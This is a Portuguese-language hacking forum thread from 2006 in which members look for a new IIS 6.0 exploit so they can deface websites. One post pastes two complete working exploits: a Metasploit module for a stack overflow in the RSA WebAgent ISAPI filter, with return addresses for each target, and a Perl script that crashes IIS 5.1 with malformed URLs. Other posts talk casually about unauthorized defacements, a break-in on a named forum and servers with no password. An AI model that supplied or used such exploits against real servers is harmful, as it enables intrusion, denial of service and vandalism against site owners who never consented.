[Pergunta/Pedido/Sei La] Novo exploit para IIS?

Started by Wuefez, 26 de June , 2006, 12:55:47 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Wuefez

po tava reportando uns defaces meus la no zh hoje, fui dar uma olhada nos attacks archives, putz todo mundo ta pegando IIS/6.0 sobre win 2k3, parece que triplicaram as invasões a win 2k3, ai ta, peguei alguns sites ja ownados da lista (não para tentar redeface e sim para ver o que eles tavam usando), mais não consegui nada.

Gostaria de saber se alguém tem ou sabe, desse novo xpl do momento...

Obrigado ^^


"Quem fala não faz."

slul

Amigo nem todos os xpl's são pro servidor eu tenho visto mtas falhas pra web services que rodam em ASP


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::rsa_iiswebagent_redirect;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
'Name'  => 'IIS RSA WebAgent Redirect Overflow',
'Version'  => '$Revision: 1.4 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'Arch'  => [ 'x86' ],
'OS'    => [ 'win32' ],
'Priv'  => 0,
'UserOpts'  =>
  {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL'   => [0, 'BOOL', 'Use SSL'],
'URL'   => [1, 'DATA', 'The path to the DLL', '/WebID/IISWebAgentIF.dll'],
  },

'Payload' =>
  {
'Space'     => 1024,
'BadChars'  =>
"\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f".
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x5c". "Z",

'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",
'Keys'      => ['+ws2ord'],
  },

'Description'  => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the SecurID Web Agent for IIS.
This ISAPI filter runs in-process with inetinfo.exe, any attempt to
exploit this flaw will result in the termination and potential restart
of the IIS service.
}),

'Refs'  =>
  [
  # Anyone got a patch/advisory/solution URL?
  ],
 
'Targets' =>
  [
  # Version-specific return addresses
['RSA WebAgent 5.2', 996, 0x1001e694],
['RSA WebAgent 5.3', 992, 0x10010e89],

# Generic return addresses
['RSA WebAgent 5.2 on Windows 2000 English', 996, 0x75022ac4],
['RSA WebAgent 5.3 on Windows 2000 English', 992, 0x75022ac4],

['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', 996, 0x71ab1d54],
['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', 992, 0x71ab1d54],

['RSA WebAgent 5.2 on Windows XP SP2 English', 996, 0x71ab9372],
['RSA WebAgent 5.3 on Windows XP SP2 English', 992, 0x71ab9372],

['RSA WebAgent 5.2 on Windows 2003 English SP0', 996, 0x7ffc0638],
['RSA WebAgent 5.3 on Windows 2003 English SP0', 992, 0x7ffc0638],

  ],

'Keys' => ['rsa'],
  };

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
  (
'PeerAddr'  => $target_host,
'PeerPort'  => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL'       => $self->GetVar('SSL'),
  );
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("GET ".$self->GetVar('URL')."?GetPic?image=msf HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");

my $r = $s->Recv(-1, 5);

if ($r =~ /RSA Web Access Authentication/)
{
$self->PrintLine("[*] Found IISWebAgentIF.dll ;)");
return $self->CheckCode('Detected');
} else {

$self->PrintLine("The IISWebAgentIF.dll ISAPI does not appear to be installed");
return $self->CheckCode('Safe');
}
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx  = $self->GetVar('TARGET');
my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
my $target      = $self->Targets->[ $target_idx ];

$self->PrintLine("[*] Attempting to exploit target ".$target->[0]);


my $pattern = Pex::Text::AlphaNumText(8192);
# Just don't ask.
$pattern =~ s/\d|Z/A/ig;

substr($pattern, $target->[1]    , 4, pack('V', $target->[2]));
substr($pattern, $target->[1] - 4, 2, "\xeb\x06");
substr($pattern, $target->[1] + 4, length($shellcode), $shellcode);

my $request =
  "GET ".$self->GetVar('URL')."?Redirect?url=$pattern HTTP/1.1\r\n".
  "Host: $target_host:$target_port\r\n\r\n";

my $s = Msf::Socket::Tcp->new
  (
'PeerAddr'  => $target_host,
'PeerPort'  => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL'       => $self->GetVar('SSL'),
  );
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
$s->Send($request);

$self->PrintLine("[*] Waiting for a response...");
$s->Recv(-1, 10);
$self->Handler($s);
$s->Close();
return;
}

# milw0rm.com [2005-10-19]



Esse daki é pra IIS 5.3 ou menor


#!/usr/bin/perl
# _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at
# http://ingehenriksen.blogspot.com/2005/12/microsoft-iis-remote-dos-dll-url.html
# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.

# sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/
# sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0
# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count>
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!!

use List::Util 'shuffle';
use IO::Socket::INET;

$target = shift;
$folder = shift;
$amount = shift;

# main iteration thingie
for(1..$amount){
# construct an array of the reportedly bad characters
for(1..31){ @badchars[$_] = chr($_); }
# append the rest of them
@badchars = (@badchars,"?","\"","*",":","<",">");
# shuffle the array so @shuffled[0] is random
@shuffled = shuffle(@badchars);
# this is the request
$malformed = $folder . ".dll/" . @shuffled[0] . "/~" . int rand(9);
# this is informative text
print "[$_]\t greeting $target with: " . $malformed . "\n";
# create the socket
$socket = new IO::Socket::INET(
Proto    => "tcp",
PeerAddr => $target,
PeerPort => "80",
);
# error reporting
die "unable to connect to $target ($!) - omgomgwtf itz dead w00t w00t \n" unless $socket;
# the actual data transmission
print $socket "GET " . $malformed . " HTTP/1.0\r\n" . "Host: $target\r\n" . "\r\n\r\n";
# all done
close $socket;
}

# milw0rm.com [2005-12-19]




E Esse pra IIS 5.1


Abraços

Wuefez

Grande Slul

Web-Servers que rodam ASP, só tem o IIS, esses dois exploits que você nos trouce ai são de DoS (Denial of Service), e são para o IIS do win NT/2K, eu to falando de um possivel exploit de buffer overflow (ja que te permite fazer qualquer coisa) para o IIS/6.0 do Windows Server 2003...

falouzzzzz


"Quem fala não faz."

slul

A tá sorry!

Dica: Pare de ser irônico em seus comentários. Ou alguém pode se irritar ;)

Menos Wuefez, Bem menos!

Wuefez

po cara se vc se ofendeu, com isso me desculpe, sendo que eu nem falei nada, realmente não entendi, eu acho que é por que você ainda esta com raiva daquilo que eu disse num tópico seu sobre cookie poisoning, aquilo sim admito que peguei pesado, mais po aquilo foi ano passado, e depois disso nunca mais te vi on no msn :(, te considerava e ainda te considero um grande amigo...

Rodrigo


"Quem fala não faz."

slul

cara eu nem me lembro desse topico de cookie poisoning....

e eu dei a dica pq nao foi só cmg foi com o tal de fr0z3n tbm em outro tópico vc zuou o cara sendo que ele só estava ajudando

essa é a atitude pela qual tenho maior repúdio!

Wuefez

Quotehttp://www.gardensoccer.com/forums

 Nao tem muito o que fazer nesses forums, eu nem consigui mudar a index
Se vocês souberem alguma coisa legal pra fazer me falem ?!

falou!

Entra em www.gardensoccer.com, o site do fórum que ele supostamente ownou e você verá uma noticia dos admins falando que por motivo nenhum alguém ownou o fórum deles, mudou a senha dos admins e deletou todos os posts, por nada.

Se ele tem 'moral' para fazer isso, ele pode ser zoado tranquilamente...

Sem Mais


"Quem fala não faz."

Skayler

Quote from: "Wuefez"
Quotehttp://www.gardensoccer.com/forums

 Nao tem muito o que fazer nesses forums, eu nem consigui mudar a index
Se vocês souberem alguma coisa legal pra fazer me falem ?!

falou!

Entra em www.gardensoccer.com, o site do fórum que ele supostamente ownou e você verá uma noticia dos admins falando que por motivo nenhum alguém ownou o fórum deles, mudou a senha dos admins e deletou todos os posts, por nada.

Se ele tem 'moral' para fazer isso, ele pode ser zoado tranquilamente...

Sem Mais

Também acho, foi muita sacanagem da parte dele...
Eu não owno sites/foruns sem motivos, até porquê, não gosto de defaces...

[]'s


Skayler
Away

rog

sei la turma

o wefez pensa que deve ter um novo xpl em webserver rodando servidor web em win2K3

vamos tentar voltar ao assunto

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Anonymous


Wuefez

@f4kelive

Conheço essa ja tenho até um tópico no fórum sobre isso, mais não, não é isso pois os Windows Servers 2003 que possuem Remote Desktop ficam em Workstation mode, ou seja quando você se conecta ainda tem que por o Login do Windows...


"Quem fala não faz."

Anonymous



HadeS

Cara, Desktop Remote precisa de autenticação, e além disso qualquer administrador que preste desativa esse serviço.

Acho meio díficil ser essa a "falha". Só se você achar por aí um site que tenha um administrador muito lamer, mas muito mesmo. Mas como todos tem sorte uma vez na vida, se quiser arriscar, boa sorte!

HadeS

Anonymous

intaum existe muitos administradores lammers axei uma porrada di servidor sem senha